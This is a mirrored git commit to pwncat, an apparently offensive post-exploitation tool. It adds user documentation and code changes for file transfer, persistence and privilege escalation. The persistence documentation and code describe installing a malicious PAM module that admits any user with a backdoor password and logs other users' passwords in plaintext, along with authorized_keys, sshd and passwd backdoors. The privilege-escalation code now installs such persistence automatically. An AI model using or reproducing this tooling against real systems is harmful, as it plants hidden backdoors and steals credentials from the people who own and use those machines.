mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
privesc now uses persist to overcome UID!=EUID
`pwncat.victim.privesc` will use the first available and working persistence mechanism to overcome UID!=EUID situations. Also, added more documentation.
This commit is contained in:
parent
11fe2715ab
commit
72dc93e6f7
1
.gitignore
vendored
1
.gitignore
vendored
@ -8,3 +8,4 @@ dist/
|
||||
testbed
|
||||
.idea/
|
||||
data/*.sqlite
|
||||
testing/
|
||||
|
22
docs/source/download.rst
Normal file
22
docs/source/download.rst
Normal file
@ -0,0 +1,22 @@
|
||||
File Download
|
||||
=============
|
||||
|
||||
File download is performed in a similar fashion to file upload. The interface is largely the same
|
||||
with the parameter order swapped ("source" is a remote file while "destination" is a local file).
|
||||
This command provides the same local and remote tab-completion and progress bar as with the upload
|
||||
command.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
(local) pwncat$ download --help
|
||||
usage: download [-h] source destination
|
||||
|
||||
Download a file from the remote host to the local host
|
||||
|
||||
positional arguments:
|
||||
source
|
||||
destination
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
|
@ -143,8 +143,11 @@ features.
|
||||
|
||||
installation.rst
|
||||
configuration.rst
|
||||
upload.rst
|
||||
download.rst
|
||||
tamper.rst
|
||||
privesc.rst
|
||||
persist.rst
|
||||
|
||||
Indices and tables
|
||||
==================
|
||||
|
107
docs/source/persist.rst
Normal file
107
docs/source/persist.rst
Normal file
@ -0,0 +1,107 @@
|
||||
Persistence
|
||||
===========
|
||||
|
||||
The ``pwncat.victim.persist`` module provides an abstract way to install various persistence methods
|
||||
on the target host. To view a list of available persistence methods, you can use the ``--list/-l``
|
||||
switch:
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
(local) pwncat$ persist -l
|
||||
- authorized_keys as user (local)
|
||||
- pam as system (local)
|
||||
- passwd as system (local)
|
||||
- sshd as system (local)
|
||||
|
||||
This output indicates a few things. First, if a given method specifies "as user", then the persistence
|
||||
method is installed as a specific user. If no user is specified during installation, ``root`` is
|
||||
attempted, but will likely only succeed if you do not currently have root permissions. Second,
|
||||
persistence methods marked "local" allow a local user to escalate to that user (or to root for system
|
||||
persistence modules). This is in contrast to persistence methods which only allow remote access
|
||||
as the specified user.
|
||||
|
||||
To get more information on a specific module, you can pass the ``--method/-m`` option with the method
|
||||
name when using ``--list/-l``. This will provide the module specific documentation on what is being
|
||||
installed specifically on the remote system:
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
(local) pwncat$ persist -l -m pam
|
||||
pam as system (local)
|
||||
|
||||
Add a malicious PAM module which will allow authentication as any user.
|
||||
This persistence method will install a custom PAM module which authenticates
|
||||
every user successfully with your backdoor password. This module also logs
|
||||
any passwords in plaintext which are not your backdoor password in /var/log/firstlog.
|
||||
The log file is tracked as a separate tamper and will not be automatically removed
|
||||
by removing this persistence method.
|
||||
|
||||
The remote host **must** have `gcc` and `openssl-devel` packages installed
|
||||
and you must already have root access.
|
||||
|
||||
Persistence Installation Status
|
||||
-------------------------------
|
||||
|
||||
To list all currently installed persistence methods, you can use the ``--status/-s`` switch. This
|
||||
will list all registered/installed persistence methods known to ``pwncat``. This is also the default
|
||||
action if no options are specified.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
(local) pwncat$ persist -s
|
||||
- pam as system (local) installed
|
||||
|
||||
This is useful because in some situations, the ``pwncat.victim.privesc`` module will automatically
|
||||
install persistence. This is normally to overcome a ``EUID != UID`` situation. If this happens,
|
||||
``pwncat`` will still track persistence methods correctly.
|
||||
|
||||
Persistence methods are also tracked by the ``pwncat.victim.tamper`` module. When a persistence
|
||||
method is installed, it is registered as both a tamper and a persistence method. In this way, using
|
||||
``tamper -r -a`` will remove all of your modifications including persistence methods. If a persistence
|
||||
method is removed with tamper, it will also be removed from the persistence status and vice-versa.
|
||||
|
||||
Installing Persistence
|
||||
----------------------
|
||||
|
||||
The ``persist`` command can be used to install individual persistence methods. The ``--install/-i``
|
||||
switch enables this mode. In installation mode, you must specify a module to install with the
|
||||
``--method/-m`` option. For user-based methods, you should also specify a user. If no user is specified,
|
||||
``pwncat`` will assume you would like root-level persistence. For system methods, the user argument
|
||||
is ignored.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
(local) pwncat$ persist -i -m pam
|
||||
[/] pam_sneaky: adding pam auth configuration: login
|
||||
(local) pwncat$ persist -i -m authorized_keys -u george
|
||||
(local) pwncat$ persist
|
||||
- pam as system (local) installed
|
||||
- authorized_keys as george (local) installed
|
||||
|
||||
Removing Persistence
|
||||
--------------------
|
||||
|
||||
Once again, the ``persist`` command is used to remove persistence from the target host. The
|
||||
``--remove/-r`` switch is used to enable this mode. You must specify a method with the ``--method/-m``
|
||||
option. For user-based methods, you must specify a user to remove the persistence from. As with
|
||||
the install, ``pwncat`` will assume you would like to remove the root persistence. If no user is
|
||||
specified and persistence as root is not installed, the removal will fail.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
(local) pwncat$ persist -r -m authorized_keys -u george
|
||||
(local) pwncat$ persist -r -m authorized_keys
|
||||
[!] authorized_keys as root (local): not installed
|
||||
|
||||
As mentioned above, persistence installation is also tracked by the tamper command. The ``tamper``
|
||||
command can also be used to view and remove persistence methods:
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
(local) pwncat$ tamper
|
||||
0 - Created file /var/log/firstlog
|
||||
1 - Persistence: pam as system (local)
|
||||
(local) pwncat$ tamper -r -t 1
|
||||
|
||||
|
||||
|
27
docs/source/upload.rst
Normal file
27
docs/source/upload.rst
Normal file
@ -0,0 +1,27 @@
|
||||
File Upload
|
||||
===========
|
||||
|
||||
``pwncat`` makes file upload easy through the ``upload`` command. File upload is accomplished via
|
||||
the ``gtfobins`` modules, which will enumerate available local binaries capable of writing printable
|
||||
or binary data to files on the remote host. Often, this is ``dd`` if available but could be any
|
||||
of the many binaries which ``gtfobins`` understands. The upload takes place over the same
|
||||
connection as your shell, which means you don't need another HTTP or socket server or extra connectivity
|
||||
to your target host.
|
||||
|
||||
At the local ``pwncat`` prompt, local and remote files are tab-completed to provided an easier upload
|
||||
interface, and a progress bar is displayed.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
(local) pwncat$ upload --help
|
||||
usage: upload [-h] source destination
|
||||
|
||||
Upload a file from the local host to the remote host
|
||||
|
||||
positional arguments:
|
||||
source
|
||||
destination
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
|
@ -1,4 +1,5 @@
|
||||
#!/usr/bin/env python3
|
||||
import traceback
|
||||
from typing import TextIO, Type
|
||||
from prompt_toolkit import PromptSession, ANSI
|
||||
from prompt_toolkit.shortcuts import ProgressBar
|
||||
@ -228,7 +229,8 @@ class CommandParser:
|
||||
continue
|
||||
|
||||
self.dispatch_line(line)
|
||||
except KeyboardInterrupt:
|
||||
except KeyboardInterrupt as exc:
|
||||
traceback.print_exc()
|
||||
continue
|
||||
|
||||
def dispatch_line(self, line: str):
|
||||
|
@ -10,6 +10,7 @@ from pwncat.commands.base import (
|
||||
StoreForAction,
|
||||
)
|
||||
from pwncat import util, privesc
|
||||
from pwncat.persist import PersistenceError
|
||||
from pwncat.util import State
|
||||
from colorama import Fore
|
||||
import argparse
|
||||
@ -155,30 +156,34 @@ class Command(CommandDefinition):
|
||||
chain = pwncat.victim.privesc.escalate(args.user, args.max_depth)
|
||||
|
||||
ident = pwncat.victim.id
|
||||
backdoor = False
|
||||
if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
|
||||
util.progress(
|
||||
"EUID != UID. installing backdoor to complete privesc"
|
||||
"mismatched euid and uid; attempting backdoor installation."
|
||||
)
|
||||
try:
|
||||
pwncat.victim.privesc.add_backdoor()
|
||||
backdoor = True
|
||||
except privesc.PrivescError as exc:
|
||||
util.warn(f"backdoor installation failed: {exc}")
|
||||
for method in pwncat.victim.persist.available:
|
||||
if not method.system or not method.local:
|
||||
continue
|
||||
try:
|
||||
# Attempt to install this persistence method
|
||||
pwncat.victim.persist.install(method.name)
|
||||
if not method.escalate():
|
||||
# The escalation didn't work, remove it and try the next
|
||||
pwncat.victim.persist.remove(method.name)
|
||||
continue
|
||||
chain.append(
|
||||
(
|
||||
f"{method.format()} ({Fore.CYAN}euid{Fore.RESET} correction)",
|
||||
"exit",
|
||||
)
|
||||
)
|
||||
break
|
||||
except PersistenceError:
|
||||
continue
|
||||
|
||||
util.success("privilege escalation succeeded using:")
|
||||
for i, (technique, _) in enumerate(chain):
|
||||
arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
|
||||
print(f"{(i+1)*' '}{arrow}{technique}")
|
||||
|
||||
if backdoor:
|
||||
print(
|
||||
(
|
||||
f"{(len(chain)+1)*' '}{arrow}"
|
||||
f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor"
|
||||
)
|
||||
)
|
||||
|
||||
pwncat.victim.reset()
|
||||
pwncat.victim.state = State.RAW
|
||||
except privesc.PrivescError as exc:
|
||||
|
@ -66,6 +66,11 @@ class Persistence:
|
||||
for persist in pwncat.victim.host.persistence:
|
||||
yield persist.user, self.methods[persist.method]
|
||||
|
||||
@property
|
||||
def available(self) -> Iterator[str]:
|
||||
""" Yield all the known methods """
|
||||
yield from self.methods.values()
|
||||
|
||||
def find(
|
||||
self,
|
||||
name: Optional[str] = None,
|
||||
@ -105,6 +110,8 @@ class Persistence:
|
||||
raise PersistenceError(
|
||||
f"{method.format(user)}: non-system methods require a user argument"
|
||||
)
|
||||
if method.system and user is not None:
|
||||
user = None
|
||||
if not method.installed(user):
|
||||
raise PersistenceError(f"{method.format(user)}: not installed")
|
||||
method.remove(user)
|
||||
|
@ -151,11 +151,15 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
||||
)
|
||||
config = os.path.join("/etc/pam.d", config)
|
||||
try:
|
||||
# Read the original content
|
||||
with pwncat.victim.open(config, "r") as filp:
|
||||
content = filp.readlines()
|
||||
except (PermissionError, FileNotFoundError):
|
||||
continue
|
||||
|
||||
# We need to know if there is a rootok line. If there is,
|
||||
# we should add our line after it to ensure that rootok still
|
||||
# works.
|
||||
contains_rootok = any("pam_rootok" in line for line in content)
|
||||
|
||||
# Add this auth statement before the first auth statement
|
||||
@ -180,38 +184,6 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
||||
except (PermissionError, FileNotFoundError):
|
||||
continue
|
||||
|
||||
# We need to test if this works. We should be running as root, so
|
||||
# we will `su` to the first regular user, and then attempt to `su`
|
||||
# to another user with our known password.
|
||||
for name, user in pwncat.victim.users.items():
|
||||
if (
|
||||
"nologin" not in user.shell
|
||||
and "false" not in user.shell
|
||||
and user.id != 0
|
||||
):
|
||||
target_user = name
|
||||
break
|
||||
else:
|
||||
target_user = None
|
||||
|
||||
# If we didn't find any non-disabled users, we can't test it.
|
||||
# But we'll assume it worked.
|
||||
if target_user is not None:
|
||||
util.progress(f"pam_sneaky: testing module with {target_user}")
|
||||
# We're root. This won't fail.
|
||||
pwncat.victim.su(target_user, password=None)
|
||||
try:
|
||||
pwncat.victim.su(
|
||||
"root", password=pwncat.victim.config["backdoor_pass"]
|
||||
)
|
||||
util.success(f"pam_sneaky: installation succeeded!")
|
||||
except PermissionError:
|
||||
# It didn't work!
|
||||
self.remove()
|
||||
raise PersistenceError("pam module install failed")
|
||||
finally:
|
||||
pwncat.victim.run("exit", wait=False)
|
||||
|
||||
pwncat.victim.tamper.created_file("/var/log/firstlog")
|
||||
except FileNotFoundError as exc:
|
||||
# A needed binary wasn't found. Clean up whatever we created.
|
||||
@ -282,6 +254,9 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
||||
if user is None:
|
||||
user = "root"
|
||||
|
||||
pwncat.victim.su(user, password=pwncat.victim.config["backdoor_pass"])
|
||||
try:
|
||||
pwncat.victim.su(user, password=pwncat.victim.config["backdoor_pass"])
|
||||
except PermissionError:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
@ -1030,12 +1030,12 @@ class Victim:
|
||||
def su(self, user: str, password: str = None):
|
||||
""" Use the "su" command to switch users. If password is none, no password is sent. """
|
||||
|
||||
current_user = self.current_user
|
||||
current_user = self.id
|
||||
|
||||
if password is None and current_user.id != 0:
|
||||
if password is None and current_user["uid"]["id"] != 0:
|
||||
raise PermissionError("no password provided and whoami != root!")
|
||||
|
||||
if current_user.id != 0:
|
||||
if current_user["uid"]["id"] != 0:
|
||||
# Verify the validity of the password
|
||||
self.env(["su", user, "-c", "echo good"], wait=False)
|
||||
self.recvuntil(b": ")
|
||||
@ -1055,7 +1055,7 @@ class Victim:
|
||||
# Switch users
|
||||
self.env(["su", user], wait=False)
|
||||
|
||||
if current_user.id != 0:
|
||||
if current_user["uid"]["id"] != 0:
|
||||
self.recvuntil(b": ")
|
||||
self.client.sendall(password.encode("utf-8") + b"\n")
|
||||
self.flush_output()
|
||||
|
Loading…
Reference in New Issue
Block a user